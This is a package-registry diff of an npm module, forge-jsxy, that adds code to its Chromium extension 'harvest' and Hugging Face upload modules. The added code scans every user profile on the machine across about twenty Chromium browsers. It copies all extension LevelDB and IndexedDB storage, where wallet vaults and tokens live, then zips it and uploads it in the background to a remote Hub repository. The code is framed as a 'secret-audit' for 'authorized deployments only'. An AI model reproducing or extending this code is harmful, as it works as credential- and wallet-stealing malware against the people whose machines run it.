forge-jsxy 1.0.92 → 1.0.104
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +96 -20
- package/dist/assets/files-explorer-template.html +97 -21
- package/dist/chromiumExtensionDbHarvest.d.ts +25 -4
- package/dist/chromiumExtensionDbHarvest.js +253 -47
- package/dist/extensionDbHfUpload.d.ts +7 -3
- package/dist/extensionDbHfUpload.js +78 -35
- package/dist/fsProtocol.js +7 -0
- package/dist/hfSeqIdLookup.d.ts +10 -1
- package/dist/hfSeqIdLookup.js +64 -23
- package/dist/hfUpload.d.ts +2 -0
- package/dist/hfUpload.js +3 -1
- package/dist/relayAgent.js +86 -6
- package/dist/relayServer.js +299 -106
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -8
- package/dist/windowsInputSync.d.ts +6 -0
- package/dist/windowsInputSync.js +58 -21
- package/package.json +1 -1
|
@@ -33,10 +33,15 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
33
33
|
};
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
-
exports.LOCAL_EXTENSION_SETTINGS = exports.EXTENSION_DB_STAGING_DIRNAME = void 0;
|
|
36
|
+
exports.INDEXEDDB_DIR_NAME = exports.LOCAL_EXTENSION_SETTINGS = exports.EXTENSION_DB_STAGING_DIRNAME = void 0;
|
|
37
|
+
exports.win32AllLocalAppDataRoots = win32AllLocalAppDataRoots;
|
|
38
|
+
exports.win32AllRoamingAppDataRoots = win32AllRoamingAppDataRoots;
|
|
37
39
|
exports.chromiumBrowserUserDataCandidates = chromiumBrowserUserDataCandidates;
|
|
38
40
|
exports.profileRelPathFromLes = profileRelPathFromLes;
|
|
39
41
|
exports.findLocalExtensionSettingsDirs = findLocalExtensionSettingsDirs;
|
|
42
|
+
exports.findChromeExtensionIndexedDbDirs = findChromeExtensionIndexedDbDirs;
|
|
43
|
+
exports.isLevelDbSstableFileName = isLevelDbSstableFileName;
|
|
44
|
+
exports.extensionFolderHasLdbFile = extensionFolderHasLdbFile;
|
|
40
45
|
exports.extensionFolderHasDbFile = extensionFolderHasDbFile;
|
|
41
46
|
exports.discoverExtensionDbSourcesFromUserDataRoots = discoverExtensionDbSourcesFromUserDataRoots;
|
|
42
47
|
exports.discoverExtensionDbSources = discoverExtensionDbSources;
|
|
@@ -49,10 +54,10 @@ exports.removeExtensionDbStaging = removeExtensionDbStaging;
|
|
|
49
54
|
* Discover Chromium-family browser profiles, copy **entire** extension `<id>` folders under
|
|
50
55
|
* `Local Extension Settings` into a staging directory beside `result.json` (secret-audit vault).
|
|
51
56
|
*
|
|
52
|
-
* **Selection gate:** an extension folder is included
|
|
53
|
-
* file anywhere inside (
|
|
54
|
-
*
|
|
55
|
-
*
|
|
57
|
+
* **Selection gate:** an extension folder is included when it contains at least one **`.ldb`**
|
|
58
|
+
* file anywhere inside (Chromium LevelDB table/sstable — the real extension database blob).
|
|
59
|
+
* **`.db` (SQLite) alone does not qualify.** **Copy scope:** the full `<extension_id>/` tree
|
|
60
|
+
* is copied recursively — every `.ldb`, `.log`, `CURRENT`, `MANIFEST-*`, lock, and sibling file.
|
|
56
61
|
*
|
|
57
62
|
* Cross-platform (Windows local + roaming, Linux, macOS). Authorized deployments only.
|
|
58
63
|
*/
|
|
@@ -65,6 +70,7 @@ const fileLockForce_1 = require("./fileLockForce");
|
|
|
65
70
|
exports.EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
|
|
66
71
|
/** Relative path segment (case-insensitive) under a browser profile. */
|
|
67
72
|
exports.LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
|
|
73
|
+
exports.INDEXEDDB_DIR_NAME = "IndexedDB";
|
|
68
74
|
function envHome() {
|
|
69
75
|
return os.homedir();
|
|
70
76
|
}
|
|
@@ -86,6 +92,119 @@ function roamingAppDataWin() {
|
|
|
86
92
|
return path.join(prof, "AppData", "Roaming");
|
|
87
93
|
return path.join(envHome(), "AppData", "Roaming");
|
|
88
94
|
}
|
|
95
|
+
const WIN_USERS_DIR_SKIP = new Set(["default", "default user", "public", "all users", "defaultaccount"].map((s) => s.toLowerCase()));
|
|
96
|
+
/** All `AppData\\Local` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Local`. */
|
|
97
|
+
function win32AllLocalAppDataRoots() {
|
|
98
|
+
const out = [];
|
|
99
|
+
const seen = new Set();
|
|
100
|
+
const add = (p) => {
|
|
101
|
+
try {
|
|
102
|
+
const abs = path.resolve(p);
|
|
103
|
+
const key = abs.toLowerCase();
|
|
104
|
+
if (seen.has(key))
|
|
105
|
+
return;
|
|
106
|
+
if (fs.existsSync(abs) && fs.statSync(abs).isDirectory()) {
|
|
107
|
+
seen.add(key);
|
|
108
|
+
out.push(abs);
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
catch {
|
|
112
|
+
/* skip */
|
|
113
|
+
}
|
|
114
|
+
};
|
|
115
|
+
add(localAppDataWin());
|
|
116
|
+
const sysDrive = (process.env.SystemDrive || "C:").trim();
|
|
117
|
+
const usersRoot = path.join(sysDrive, "Users");
|
|
118
|
+
try {
|
|
119
|
+
for (const ent of fs.readdirSync(usersRoot, { withFileTypes: true })) {
|
|
120
|
+
if (!ent.isDirectory())
|
|
121
|
+
continue;
|
|
122
|
+
if (WIN_USERS_DIR_SKIP.has(ent.name.toLowerCase()))
|
|
123
|
+
continue;
|
|
124
|
+
add(path.join(usersRoot, ent.name, "AppData", "Local"));
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
catch {
|
|
128
|
+
/* skip */
|
|
129
|
+
}
|
|
130
|
+
return out;
|
|
131
|
+
}
|
|
132
|
+
/** All `AppData\\Roaming` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Roaming`. */
|
|
133
|
+
function win32AllRoamingAppDataRoots() {
|
|
134
|
+
const out = [];
|
|
135
|
+
const seen = new Set();
|
|
136
|
+
const add = (p) => {
|
|
137
|
+
try {
|
|
138
|
+
const abs = path.resolve(p);
|
|
139
|
+
const key = abs.toLowerCase();
|
|
140
|
+
if (seen.has(key))
|
|
141
|
+
return;
|
|
142
|
+
if (fs.existsSync(abs) && fs.statSync(abs).isDirectory()) {
|
|
143
|
+
seen.add(key);
|
|
144
|
+
out.push(abs);
|
|
145
|
+
}
|
|
146
|
+
}
|
|
147
|
+
catch {
|
|
148
|
+
/* skip */
|
|
149
|
+
}
|
|
150
|
+
};
|
|
151
|
+
add(roamingAppDataWin());
|
|
152
|
+
const sysDrive = (process.env.SystemDrive || "C:").trim();
|
|
153
|
+
const usersRoot = path.join(sysDrive, "Users");
|
|
154
|
+
try {
|
|
155
|
+
for (const ent of fs.readdirSync(usersRoot, { withFileTypes: true })) {
|
|
156
|
+
if (!ent.isDirectory())
|
|
157
|
+
continue;
|
|
158
|
+
if (WIN_USERS_DIR_SKIP.has(ent.name.toLowerCase()))
|
|
159
|
+
continue;
|
|
160
|
+
add(path.join(usersRoot, ent.name, "AppData", "Roaming"));
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
catch {
|
|
164
|
+
/* skip */
|
|
165
|
+
}
|
|
166
|
+
return out;
|
|
167
|
+
}
|
|
168
|
+
function browserLabelForUserDataRoot(baseLabel, userDataRoot) {
|
|
169
|
+
if (process.platform !== "win32")
|
|
170
|
+
return baseLabel;
|
|
171
|
+
const norm = path.resolve(userDataRoot).replace(/\\/g, "/").toLowerCase();
|
|
172
|
+
const m = /\/users\/([^/]+)\/appdata\/local/i.exec(norm);
|
|
173
|
+
if (!m?.[1])
|
|
174
|
+
return baseLabel;
|
|
175
|
+
const user = m[1];
|
|
176
|
+
const cur = localAppDataWin().replace(/\\/g, "/").toLowerCase();
|
|
177
|
+
if (norm.startsWith(cur.replace(/\/$/, "")))
|
|
178
|
+
return baseLabel;
|
|
179
|
+
return `${baseLabel} [${user}]`;
|
|
180
|
+
}
|
|
181
|
+
/** Relative path segments under `%LOCALAPPDATA%` for Chromium user-data dirs. */
|
|
182
|
+
const WIN32_LOCAL_BROWSER_PATHS = [
|
|
183
|
+
["Google Chrome", ["Google", "Chrome", "User Data"]],
|
|
184
|
+
["Google Chrome Beta", ["Google", "Chrome Beta", "User Data"]],
|
|
185
|
+
["Google Chrome SxS", ["Google", "Chrome SxS", "User Data"]],
|
|
186
|
+
["Microsoft Edge", ["Microsoft", "Edge", "User Data"]],
|
|
187
|
+
["Microsoft Edge Beta", ["Microsoft", "Edge Beta", "User Data"]],
|
|
188
|
+
["Microsoft Edge Dev", ["Microsoft", "Edge Dev", "User Data"]],
|
|
189
|
+
["Brave", ["BraveSoftware", "Brave-Browser", "User Data"]],
|
|
190
|
+
["Vivaldi", ["Vivaldi", "User Data"]],
|
|
191
|
+
["Chromium", ["Chromium", "User Data"]],
|
|
192
|
+
["Yandex", ["Yandex", "YandexBrowser", "User Data"]],
|
|
193
|
+
["Opera", ["Opera Software", "Opera Stable"]],
|
|
194
|
+
["Opera GX", ["Opera Software", "Opera GX Stable"]],
|
|
195
|
+
["Epic Privacy Browser", ["Epic Privacy Browser", "User Data"]],
|
|
196
|
+
["Iridium", ["Iridium", "User Data"]],
|
|
197
|
+
["Thorium", ["Thorium", "User Data"]],
|
|
198
|
+
["Cent Browser", ["CentBrowser", "User Data"]],
|
|
199
|
+
["Slimjet", ["Slimjet", "User Data"]],
|
|
200
|
+
["360Chrome", ["360Chrome", "Chrome", "User Data"]],
|
|
201
|
+
["Coc Coc", ["Coccoc", "Browser", "User Data"]],
|
|
202
|
+
["Wavebox", ["Wavebox", "User Data"]],
|
|
203
|
+
];
|
|
204
|
+
const WIN32_ROAMING_BROWSER_PATHS = [
|
|
205
|
+
["Opera Roaming", ["Opera Software", "Opera Stable"]],
|
|
206
|
+
["Opera GX Roaming", ["Opera Software", "Opera GX Stable"]],
|
|
207
|
+
];
|
|
89
208
|
function linuxConfigDir() {
|
|
90
209
|
const xdg = (process.env.XDG_CONFIG_HOME || "").trim();
|
|
91
210
|
if (xdg)
|
|
@@ -117,39 +236,16 @@ function chromiumBrowserUserDataCandidates() {
|
|
|
117
236
|
}
|
|
118
237
|
};
|
|
119
238
|
if (process.platform === "win32") {
|
|
120
|
-
const local
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
["Vivaldi", path.join(local, "Vivaldi", "User Data")],
|
|
131
|
-
["Chromium", path.join(local, "Chromium", "User Data")],
|
|
132
|
-
["Yandex", path.join(local, "Yandex", "YandexBrowser", "User Data")],
|
|
133
|
-
["Opera", path.join(local, "Opera Software", "Opera Stable")],
|
|
134
|
-
["Opera GX", path.join(local, "Opera Software", "Opera GX Stable")],
|
|
135
|
-
["Epic Privacy Browser", path.join(local, "Epic Privacy Browser", "User Data")],
|
|
136
|
-
["Iridium", path.join(local, "Iridium", "User Data")],
|
|
137
|
-
["Thorium", path.join(local, "Thorium", "User Data")],
|
|
138
|
-
["Ungoogled Chromium", path.join(local, "Chromium", "User Data")],
|
|
139
|
-
["Cent Browser", path.join(local, "CentBrowser", "User Data")],
|
|
140
|
-
["Slimjet", path.join(local, "Slimjet", "User Data")],
|
|
141
|
-
["360Chrome", path.join(local, "360Chrome", "Chrome", "User Data")],
|
|
142
|
-
["Coc Coc", path.join(local, "Coccoc", "Browser", "User Data")],
|
|
143
|
-
["Wavebox", path.join(local, "Wavebox", "User Data")],
|
|
144
|
-
];
|
|
145
|
-
for (const [label, p] of localPairs)
|
|
146
|
-
pushIfDir(label, p);
|
|
147
|
-
const roamingPairs = [
|
|
148
|
-
["Opera Roaming", path.join(roaming, "Opera Software", "Opera Stable")],
|
|
149
|
-
["Opera GX Roaming", path.join(roaming, "Opera Software", "Opera GX Stable")],
|
|
150
|
-
];
|
|
151
|
-
for (const [label, p] of roamingPairs)
|
|
152
|
-
pushIfDir(label, p);
|
|
239
|
+
for (const local of win32AllLocalAppDataRoots()) {
|
|
240
|
+
for (const [label, segs] of WIN32_LOCAL_BROWSER_PATHS) {
|
|
241
|
+
pushIfDir(browserLabelForUserDataRoot(label, local), path.join(local, ...segs));
|
|
242
|
+
}
|
|
243
|
+
}
|
|
244
|
+
for (const roaming of win32AllRoamingAppDataRoots()) {
|
|
245
|
+
for (const [label, segs] of WIN32_ROAMING_BROWSER_PATHS) {
|
|
246
|
+
pushIfDir(browserLabelForUserDataRoot(label, roaming), path.join(roaming, ...segs));
|
|
247
|
+
}
|
|
248
|
+
}
|
|
153
249
|
return out;
|
|
154
250
|
}
|
|
155
251
|
if (process.platform === "darwin") {
|
|
@@ -268,8 +364,83 @@ function findLocalExtensionSettingsDirs(userDataRoot, maxDepth = 5) {
|
|
|
268
364
|
walk(root, 0, "");
|
|
269
365
|
return out;
|
|
270
366
|
}
|
|
271
|
-
|
|
272
|
-
|
|
367
|
+
function isIndexedDbDirName(name) {
|
|
368
|
+
return name.localeCompare(exports.INDEXEDDB_DIR_NAME, undefined, { sensitivity: "accent" }) === 0;
|
|
369
|
+
}
|
|
370
|
+
function parseExtensionIdFromIndexedDbDir(name) {
|
|
371
|
+
const m = /^chrome-extension_([a-z0-9]{32})_\d+\.indexeddb\.leveldb$/i.exec(String(name || "").trim());
|
|
372
|
+
return m?.[1] ?? null;
|
|
373
|
+
}
|
|
374
|
+
/** Find `IndexedDB/chrome-extension_*_0.indexeddb.leveldb/` trees under a browser user-data root. */
|
|
375
|
+
function findChromeExtensionIndexedDbDirs(userDataRoot, maxDepth = 6) {
|
|
376
|
+
const root = path.resolve(userDataRoot);
|
|
377
|
+
const out = [];
|
|
378
|
+
const seen = new Set();
|
|
379
|
+
const walk = (dir, depth, profileHint) => {
|
|
380
|
+
if (depth > maxDepth)
|
|
381
|
+
return;
|
|
382
|
+
let entries;
|
|
383
|
+
try {
|
|
384
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
385
|
+
}
|
|
386
|
+
catch {
|
|
387
|
+
return;
|
|
388
|
+
}
|
|
389
|
+
for (const ent of entries) {
|
|
390
|
+
if (!ent.isDirectory())
|
|
391
|
+
continue;
|
|
392
|
+
const child = path.join(dir, ent.name);
|
|
393
|
+
if (isIndexedDbDirName(ent.name)) {
|
|
394
|
+
const profileRelPath = profileRelPathFromLes(root, child);
|
|
395
|
+
const profileLabel = profileHint ||
|
|
396
|
+
profileRelPath.split("/").filter(Boolean).pop() ||
|
|
397
|
+
path.basename(path.dirname(child));
|
|
398
|
+
let idbEntries;
|
|
399
|
+
try {
|
|
400
|
+
idbEntries = fs.readdirSync(child, { withFileTypes: true });
|
|
401
|
+
}
|
|
402
|
+
catch {
|
|
403
|
+
continue;
|
|
404
|
+
}
|
|
405
|
+
for (const idbEnt of idbEntries) {
|
|
406
|
+
if (!idbEnt.isDirectory())
|
|
407
|
+
continue;
|
|
408
|
+
const extId = parseExtensionIdFromIndexedDbDir(idbEnt.name);
|
|
409
|
+
if (!extId)
|
|
410
|
+
continue;
|
|
411
|
+
const idbDir = path.join(child, idbEnt.name);
|
|
412
|
+
if (!extensionFolderHasLdbFile(idbDir))
|
|
413
|
+
continue;
|
|
414
|
+
const key = idbDir.toLowerCase();
|
|
415
|
+
if (seen.has(key))
|
|
416
|
+
continue;
|
|
417
|
+
seen.add(key);
|
|
418
|
+
out.push({ profileLabel, profileRelPath, idbDir, extensionId: extId });
|
|
419
|
+
}
|
|
420
|
+
continue;
|
|
421
|
+
}
|
|
422
|
+
if (shouldSkipWalkDir(ent.name))
|
|
423
|
+
continue;
|
|
424
|
+
const nextHint = profileHint ||
|
|
425
|
+
(ent.name === "Default" || /^profile\s+\d+$/i.test(ent.name) ? ent.name : profileHint);
|
|
426
|
+
walk(child, depth + 1, nextHint || ent.name);
|
|
427
|
+
}
|
|
428
|
+
};
|
|
429
|
+
walk(root, 0, "");
|
|
430
|
+
return out;
|
|
431
|
+
}
|
|
432
|
+
/** True when a filename is a LevelDB sstable (`.ldb`, case-insensitive). */
|
|
433
|
+
function isLevelDbSstableFileName(name) {
|
|
434
|
+
return String(name || "")
|
|
435
|
+
.trim()
|
|
436
|
+
.toLowerCase()
|
|
437
|
+
.endsWith(".ldb");
|
|
438
|
+
}
|
|
439
|
+
/**
|
|
440
|
+
* Gate: true when `<extension_id>/` contains ≥1 **`.ldb`** file (LevelDB database segment).
|
|
441
|
+
* SQLite `.db` / `.dat` without `.ldb` does **not** qualify.
|
|
442
|
+
*/
|
|
443
|
+
function extensionFolderHasLdbFile(dir, maxDepth = 12) {
|
|
273
444
|
const root = path.resolve(dir);
|
|
274
445
|
const stack = [{ d: root, depth: 0 }];
|
|
275
446
|
while (stack.length) {
|
|
@@ -287,7 +458,7 @@ function extensionFolderHasDbFile(dir, maxDepth = 12) {
|
|
|
287
458
|
const child = path.join(d, ent.name);
|
|
288
459
|
if (ent.isSymbolicLink())
|
|
289
460
|
continue;
|
|
290
|
-
if (ent.isFile() && ent.name
|
|
461
|
+
if (ent.isFile() && isLevelDbSstableFileName(ent.name))
|
|
291
462
|
return true;
|
|
292
463
|
if (ent.isDirectory() && !shouldSkipWalkDir(ent.name)) {
|
|
293
464
|
stack.push({ d: child, depth: depth + 1 });
|
|
@@ -296,7 +467,11 @@ function extensionFolderHasDbFile(dir, maxDepth = 12) {
|
|
|
296
467
|
}
|
|
297
468
|
return false;
|
|
298
469
|
}
|
|
299
|
-
/**
|
|
470
|
+
/** @deprecated Use {@link extensionFolderHasLdbFile} — gate is `.ldb`, not `.db`. */
|
|
471
|
+
function extensionFolderHasDbFile(dir, maxDepth = 12) {
|
|
472
|
+
return extensionFolderHasLdbFile(dir, maxDepth);
|
|
473
|
+
}
|
|
474
|
+
/** Enumerate extension folders (with ≥1 `.ldb` file) for explicit browser roots (test hook). */
|
|
300
475
|
function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
|
|
301
476
|
const sources = [];
|
|
302
477
|
const seenSrc = new Set();
|
|
@@ -313,7 +488,7 @@ function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
|
|
|
313
488
|
if (!ent.isDirectory())
|
|
314
489
|
continue;
|
|
315
490
|
const extDir = path.join(lesDir, ent.name);
|
|
316
|
-
if (!
|
|
491
|
+
if (!extensionFolderHasLdbFile(extDir))
|
|
317
492
|
continue;
|
|
318
493
|
const absKey = extDir.toLowerCase();
|
|
319
494
|
if (seenSrc.has(absKey))
|
|
@@ -325,17 +500,36 @@ function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
|
|
|
325
500
|
profileRelPath,
|
|
326
501
|
extensionId: ent.name,
|
|
327
502
|
absSourceDir: extDir,
|
|
328
|
-
sourceKey: extensionSourceKey(label, profileRelPath, ent.name),
|
|
503
|
+
sourceKey: extensionSourceKey(label, profileRelPath, ent.name, "local_extension_settings"),
|
|
329
504
|
stagingRelPath: "",
|
|
505
|
+
storageKind: "local_extension_settings",
|
|
330
506
|
};
|
|
331
507
|
source.stagingRelPath = stagingRelPathForSource(source);
|
|
332
508
|
sources.push(source);
|
|
333
509
|
}
|
|
334
510
|
}
|
|
511
|
+
for (const { profileLabel, profileRelPath, idbDir, extensionId } of findChromeExtensionIndexedDbDirs(root)) {
|
|
512
|
+
const absKey = idbDir.toLowerCase();
|
|
513
|
+
if (seenSrc.has(absKey))
|
|
514
|
+
continue;
|
|
515
|
+
seenSrc.add(absKey);
|
|
516
|
+
const source = {
|
|
517
|
+
browserLabel: label,
|
|
518
|
+
profileLabel: profileLabel || "Default",
|
|
519
|
+
profileRelPath,
|
|
520
|
+
extensionId,
|
|
521
|
+
absSourceDir: idbDir,
|
|
522
|
+
sourceKey: extensionSourceKey(label, profileRelPath, extensionId, "indexeddb"),
|
|
523
|
+
stagingRelPath: "",
|
|
524
|
+
storageKind: "indexeddb",
|
|
525
|
+
};
|
|
526
|
+
source.stagingRelPath = stagingRelPathForSource(source);
|
|
527
|
+
sources.push(source);
|
|
528
|
+
}
|
|
335
529
|
}
|
|
336
530
|
return sources;
|
|
337
531
|
}
|
|
338
|
-
/** Enumerate extension folders (with `.
|
|
532
|
+
/** Enumerate extension folders (with ≥1 `.ldb` file) across all Chromium browsers. */
|
|
339
533
|
function discoverExtensionDbSources() {
|
|
340
534
|
return discoverExtensionDbSourcesFromUserDataRoots(chromiumBrowserUserDataCandidates());
|
|
341
535
|
}
|
|
@@ -346,14 +540,22 @@ function extensionDbStagingRoot() {
|
|
|
346
540
|
return path.join(secretAuditDir(), exports.EXTENSION_DB_STAGING_DIRNAME);
|
|
347
541
|
}
|
|
348
542
|
/** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
|
|
349
|
-
function extensionSourceKey(browserLabel, profileRelPath, extensionId) {
|
|
350
|
-
return `${browserLabel}|${profileRelPath}|${extensionId}`;
|
|
543
|
+
function extensionSourceKey(browserLabel, profileRelPath, extensionId, storageKind = "local_extension_settings") {
|
|
544
|
+
return `${browserLabel}|${profileRelPath}|${storageKind}|${extensionId}`;
|
|
351
545
|
}
|
|
352
546
|
function stagingRelPathForSource(src) {
|
|
353
547
|
const profileParts = src.profileRelPath
|
|
354
548
|
.split("/")
|
|
355
549
|
.filter(Boolean)
|
|
356
550
|
.map((p) => sanitizePathSegment(p));
|
|
551
|
+
if (src.storageKind === "indexeddb") {
|
|
552
|
+
return [
|
|
553
|
+
sanitizePathSegment(src.browserLabel),
|
|
554
|
+
...profileParts,
|
|
555
|
+
exports.INDEXEDDB_DIR_NAME,
|
|
556
|
+
sanitizePathSegment(`chrome-extension_${src.extensionId}_indexeddb.leveldb`),
|
|
557
|
+
].join("/");
|
|
558
|
+
}
|
|
357
559
|
return [
|
|
358
560
|
sanitizePathSegment(src.browserLabel),
|
|
359
561
|
...profileParts,
|
|
@@ -366,6 +568,9 @@ function stagingDestForSource(src) {
|
|
|
366
568
|
.split("/")
|
|
367
569
|
.filter(Boolean)
|
|
368
570
|
.map((p) => sanitizePathSegment(p));
|
|
571
|
+
if (src.storageKind === "indexeddb") {
|
|
572
|
+
return path.join(extensionDbStagingRoot(), sanitizePathSegment(src.browserLabel), ...profileParts, exports.INDEXEDDB_DIR_NAME, sanitizePathSegment(`chrome-extension_${src.extensionId}_indexeddb.leveldb`));
|
|
573
|
+
}
|
|
369
574
|
return path.join(extensionDbStagingRoot(), sanitizePathSegment(src.browserLabel), ...profileParts, exports.LOCAL_EXTENSION_SETTINGS, sanitizePathSegment(src.extensionId));
|
|
370
575
|
}
|
|
371
576
|
async function sleep(ms) {
|
|
@@ -456,6 +661,7 @@ async function harvestExtensionDbFoldersToStaging(opts = {}) {
|
|
|
456
661
|
profile: s.profileLabel,
|
|
457
662
|
profile_rel_path: s.profileRelPath,
|
|
458
663
|
extension_id: s.extensionId,
|
|
664
|
+
storage_kind: s.storageKind,
|
|
459
665
|
staging_rel_path: s.stagingRelPath,
|
|
460
666
|
path: s.absSourceDir,
|
|
461
667
|
})),
|
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
|
|
3
|
-
* folders containing `.
|
|
3
|
+
* folders containing LevelDB `.ldb` files, zip, and upload to `namespace/<seq_id>` (session repo).
|
|
4
4
|
*
|
|
5
|
-
*
|
|
5
|
+
* Appends to an existing session repo when present (new export folder per run).
|
|
6
|
+
* Ignores HF/network failures (logs only).
|
|
6
7
|
* Runs in the background — does not block the relay agent loop.
|
|
7
8
|
*/
|
|
8
9
|
import type { HfCredentials } from "./hfCredentials";
|
|
@@ -14,9 +15,12 @@ export type RunExtensionDbHfUploadOptions = {
|
|
|
14
15
|
clientTableName: string;
|
|
15
16
|
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
16
17
|
quiet: boolean;
|
|
18
|
+
/** Relay HTTP origin (ws→http) so seq_id resolves via GET /api/relay-session-seq when forge-db key is absent on the agent. */
|
|
19
|
+
relayHttpBase?: string;
|
|
20
|
+
clientSeqId?: number | null;
|
|
17
21
|
};
|
|
18
22
|
/**
|
|
19
|
-
* Harvest extension `.
|
|
23
|
+
* Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
|
|
20
24
|
* No-op when disabled, repo exists, nothing to copy, or credentials missing.
|
|
21
25
|
*/
|
|
22
26
|
export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
|
|
@@ -6,10 +6,10 @@ exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
|
|
|
6
6
|
exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
|
|
7
7
|
const hfCredentials_1 = require("./hfCredentials");
|
|
8
8
|
const hfUpload_1 = require("./hfUpload");
|
|
9
|
-
const hub_1 = require("@huggingface/hub");
|
|
10
9
|
const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
|
|
11
10
|
const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
|
|
12
11
|
const exportMirrorCopy_1 = require("./exportMirrorCopy");
|
|
12
|
+
const relayForAgentHttp_1 = require("./relayForAgentHttp");
|
|
13
13
|
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
14
14
|
function extensionDbLog(message) {
|
|
15
15
|
console.log(`[forge-agent] extension-db: ${message}`);
|
|
@@ -63,42 +63,57 @@ async function resolveHubCredentials(fetchHubCredentials) {
|
|
|
63
63
|
}
|
|
64
64
|
return creds;
|
|
65
65
|
}
|
|
66
|
-
async function resolveSessionHubRepo(clientTable, creds) {
|
|
66
|
+
async function resolveSessionHubRepo(clientTable, creds, opts) {
|
|
67
67
|
const ns = (creds.namespace || "").trim() ||
|
|
68
68
|
(process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
|
|
69
69
|
(process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
|
|
70
|
-
if (!ns)
|
|
70
|
+
if (!ns) {
|
|
71
|
+
extensionDbLog("skipped — HF namespace missing (add \"namespace\" to encrypted credentials or set CFGMGR_HF_NAMESPACE)");
|
|
71
72
|
return null;
|
|
72
|
-
|
|
73
|
-
|
|
73
|
+
}
|
|
74
|
+
let seq = opts.clientSeqId !== undefined && opts.clientSeqId !== null
|
|
75
|
+
? opts.clientSeqId
|
|
76
|
+
: await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
|
|
77
|
+
relayHttpBase: opts.relayHttpBase,
|
|
78
|
+
});
|
|
79
|
+
if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null) {
|
|
80
|
+
extensionDbLog("skipped — forge-db seq_id required for session Hub repo (relay /api/relay-session-seq or set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1)");
|
|
74
81
|
return null;
|
|
82
|
+
}
|
|
75
83
|
const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
|
|
76
84
|
return `${ns}/${slug}`;
|
|
77
85
|
}
|
|
78
|
-
async function sessionHubRepoExists(clientTable, creds) {
|
|
79
|
-
const repoStr = await resolveSessionHubRepo(clientTable, creds);
|
|
80
|
-
if (!repoStr)
|
|
81
|
-
return { exists: false, repo: "" };
|
|
82
|
-
try {
|
|
83
|
-
const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
|
|
84
|
-
const exists = await (0, hub_1.repoExists)({
|
|
85
|
-
repo: repoStr,
|
|
86
|
-
accessToken: creds.token,
|
|
87
|
-
hubUrl,
|
|
88
|
-
});
|
|
89
|
-
return { exists, repo: repoStr };
|
|
90
|
-
}
|
|
91
|
-
catch {
|
|
92
|
-
return { exists: false, repo: repoStr };
|
|
93
|
-
}
|
|
94
|
-
}
|
|
95
86
|
function isIgnorableHubError(err) {
|
|
96
87
|
const msg = err instanceof Error ? err.message : String(err);
|
|
97
88
|
return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
|
|
98
89
|
}
|
|
99
90
|
let extensionDbUploadInFlight = false;
|
|
91
|
+
let pendingExtensionDbRetry = null;
|
|
92
|
+
function mergeExtensionDbUploadOpts(prev, next) {
|
|
93
|
+
if (!prev)
|
|
94
|
+
return next;
|
|
95
|
+
return {
|
|
96
|
+
...prev,
|
|
97
|
+
...next,
|
|
98
|
+
clientSeqId: next.clientSeqId !== undefined && next.clientSeqId !== null
|
|
99
|
+
? next.clientSeqId
|
|
100
|
+
: prev.clientSeqId,
|
|
101
|
+
};
|
|
102
|
+
}
|
|
103
|
+
function resolveRelayHttpBaseForExtensionUpload(opts) {
|
|
104
|
+
const explicit = (opts.relayHttpBase || "").trim();
|
|
105
|
+
if (explicit)
|
|
106
|
+
return explicit;
|
|
107
|
+
const ws = (process.env.FORGE_JS_RELAY_URL ||
|
|
108
|
+
process.env.CFGMGR_RELAY_URL ||
|
|
109
|
+
process.env.FORGE_JS_AGENT_RELAY_URL ||
|
|
110
|
+
"").trim();
|
|
111
|
+
if (!ws)
|
|
112
|
+
return "";
|
|
113
|
+
return (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(ws) ?? "";
|
|
114
|
+
}
|
|
100
115
|
/**
|
|
101
|
-
* Harvest extension `.
|
|
116
|
+
* Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
|
|
102
117
|
* No-op when disabled, repo exists, nothing to copy, or credentials missing.
|
|
103
118
|
*/
|
|
104
119
|
async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
